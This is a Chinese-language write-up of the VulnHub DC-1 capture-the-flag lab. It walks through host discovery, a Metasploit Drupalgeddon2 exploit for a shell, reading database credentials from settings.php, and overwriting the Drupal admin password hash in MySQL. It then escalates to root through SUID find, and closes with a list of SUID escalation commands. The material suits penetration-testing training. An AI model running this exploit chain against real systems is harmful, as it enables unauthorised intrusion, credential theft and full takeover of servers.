靶场地址
https://download.vulnhub.com/dc/DC-1.zip
目标
找到五个flag
漏洞复现
flag1
sudo arp-scan -l
# 主机发现
![](https://img-blog.csdnimg.cn/img_convert/003aa658783517e956b39bc08138253f.png)
nmap -p- 192.168.222.137 --min-rate=5000
# 扫描开放端口
![](https://img-blog.csdnimg.cn/img_convert/37117e1b5e8e08760b3e4b04ebd2abf3.png)
http://192.168.222.137:80
# 访问80端口
发现网站的CMS是Drupal 7,这就是典型的MSF渗透
![](https://img-blog.csdnimg.cn/img_convert/cd2efd4ecf3c301a95782111567e22a9.png)
msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.222.137
run
# msf反弹shell
![](https://img-blog.csdnimg.cn/img_convert/8c30d7b3d6e30a4f60e2758a5a0e8dac.png)
shell
id
whoami
![](https://img-blog.csdnimg.cn/img_convert/a2b84ed51c335e5849bf236690c23206.png)
ls -al
![](https://img-blog.csdnimg.cn/img_convert/8cea4331d01c21912528dd8662bfa757.png)
cat flag1.txt
根据提示信息,寻找目标站点的配置文件
![](https://img-blog.csdnimg.cn/img_convert/33d7ed3e2b3d81a070a678e91e2f4f90.png)
flag2
通过百度查找,Drupal的默认配置文件在sites/default/settings.php
cat /var/www/sites/default/settings.php
# 查看Drupal默认配置文件
![](https://img-blog.csdnimg.cn/img_convert/8127f113edf35346388954ffd2977322.png)
发现了flag2和数据库的账号密码,通过flag2提示我们需要提升权限或者直接爆破来查看敏感文件,
flag3
mysql -u dbuser -p
# 连接数据库
![](https://img-blog.csdnimg.cn/img_convert/ea2305057446e5bcbe0527c8c9a43cd4.png)
show databases;
use drupaldb
# 选择数据库
![](https://img-blog.csdnimg.cn/img_convert/250c15cd6a1f0e91d7bbe8ec92b07fbd.png)
show tables
select * from users
# 查看users表
![](https://img-blog.csdnimg.cn/img_convert/fcc5682a41a887fc6d9bdf482296df57.png)
find . -name "*password*"
# 寻找含有password字段的文件名
![](https://img-blog.csdnimg.cn/img_convert/6b59d53f1a4197891b2ca3e058fd419c.png)
./scripts/password-hash.sh
意思应该是直接再后面加密码就会返回加密后的结果
![](https://img-blog.csdnimg.cn/img_convert/c15b43784db41a1d351b62348a9467a5.png)
./scripts/password-hash.sh 123456
# 查看123456的hash值
![](https://img-blog.csdnimg.cn/img_convert/f037b36d335e9ce949ce15dfc9c89e2d.jpeg)
show databases;
use drupaldb
update users set pass='$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC'where name="admin";
原来admin的密码编码后为:$S$DFJHHEBzde3wEl35v3Sgr6x2SBA.XYcqcp0/l.PbIlq9fufnT9FS,那么我们就把原来密码替换后为:$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC
![](https://img-blog.csdnimg.cn/img_convert/9c78a48f7c19d381de00040636a7c4ee.png)
http://192.168.222.137:80
账号:admin
密码:123456
![](https://img-blog.csdnimg.cn/img_convert/129102f08d03d278b6a6c015009840ec.png)
![](https://img-blog.csdnimg.cn/img_convert/537c82a59ccb120358190ec63c87d90a.png)
flag4
cat /etc/passwd
# /etc/passwd存放了系统中用户账号的基本信息
![](https://img-blog.csdnimg.cn/img_convert/3ffdcbab841b4d2dc685e16bddfc90a7.png)
cd /home/flag4
ls
cat flag4.txt
![](https://img-blog.csdnimg.cn/img_convert/920e792db3b1a958e78b79cefb8a3c73.png)
thefinalflag
给出提示,需要我们进入root用于来查看
cd /root
发现没有权限,直接SUID提权,查看默认以root权限执行的程序
![](https://img-blog.csdnimg.cn/img_convert/6bf7561e825f882dfa438db41b462c7a.png)
find / -perm -u=s -type f 2>/dev/null
# SUID提权
![](https://img-blog.csdnimg.cn/img_convert/a55457d3be8c680c21f30ab2bba45518.png)
find / -exec "/bin/bash" -p \;
whoami
# SUID提权
![](https://img-blog.csdnimg.cn/img_convert/a9e4c09a7c8d234fa71aa11d922314f4.png)
cat thefinalflag.txt
![](https://img-blog.csdnimg.cn/img_convert/2ac4eeb0c806119c1f6ee4479112a918.png)
总结
1、SUID提权
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -exec "/bin/bash" -p \;
find . -exec /bin/sh -p \; -quit